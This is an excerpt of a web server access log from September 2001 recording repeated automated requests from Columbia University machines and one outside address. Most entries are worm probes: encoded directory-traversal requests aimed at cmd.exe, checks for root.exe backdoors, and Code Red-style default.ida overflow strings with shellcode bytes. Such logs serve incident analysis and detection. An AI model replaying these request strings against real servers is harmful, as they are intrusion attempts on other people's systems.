  5643. 20010918 18:44:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5644. 20010918 18:44:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5645. 20010918 18:44:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5646. 20010918 18:44:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5647. 20010918 18:44:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5648. 20010918 18:44:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5649. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5650. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5651. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5652. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5653. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5654. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5655. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5656. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5657. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5658. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5659. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5660. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5661. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5662. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5663. 20010918 18:46:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5664. 20010918 18:46:34: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5665. 20010918 18:46:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5666. 20010918 18:46:52: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5667. 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5668. 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5669. 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5670. 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5671. 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5672. 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5673. 20010918 18:46:53: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5674. 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5675. 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5676. 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5677. 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5678. 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5679. 20010918 18:46:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5680. 20010918 18:46:54: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5681. 20010918 18:47:58: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5682. 20010918 18:47:58: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5683. 20010918 18:47:58: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5684. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5685. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5686. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5687. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5688. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5689. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5690. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5691. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5692. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5693. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5694. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5695. 20010918 18:47:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5696. 20010918 18:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5697. 20010918 18:51:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5698. 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5699. 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5700. 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5701. 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5702. 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5703. 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5704. 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5705. 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5706. 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5707. 20010918 18:52:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5708. 20010918 18:52:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5709. 20010918 18:52:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5710. 20010918 18:52:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5711. 20010918 18:52:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5712. 20010918 18:52:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5713. 20010918 18:52:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5714. 20010918 18:56:48: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5715. 20010918 18:57:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5716. 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5717. 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5718. 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5719. 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5720. 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5721. 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5722. 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5723. 20010918 18:58:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5724. 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5725. 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5726. 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5727. 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5728. 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5729. 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5730. 20010918 18:58:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5731. 20010918 18:58:02:  [61.167.249.77] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5732. 20010918 19:00:47: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5733. 20010918 19:02:37: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5734. 20010918 19:03:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5735. 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5736. 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5737. 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5738. 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5739. 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5740. 20010918 19:04:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5741. 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5742. 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5743. 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5744. 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5745. 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5746. 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5747. 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5748. 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5749. 20010918 19:04:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5750. 20010918 19:04:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5751. 20010918 19:05:09: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5752. 20010918 19:05:09: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5753. 20010918 19:05:09: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5754. 20010918 19:05:09: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5755. 20010918 19:05:09: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5756. 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5757. 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5758. 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5759. 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5760. 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5761. 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5762. 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5763. 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5764. 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5765. 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5766. 20010918 19:05:10: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5767. 20010918 19:06:55: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5768. 20010918 19:06:55: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5769. 20010918 19:06:55: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5770. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5771. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5772. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5773. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5774. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5775. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5776. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5777. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5778. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5779. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5780. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5781. 20010918 19:06:56: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5782. 20010918 19:06:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5783. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5784. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5785. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5786. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5787. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5788. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5789. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5790. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5791. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5792. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5793. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5794. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5795. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5796. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5797. 20010918 19:10:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5798. 20010918 19:10:31: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
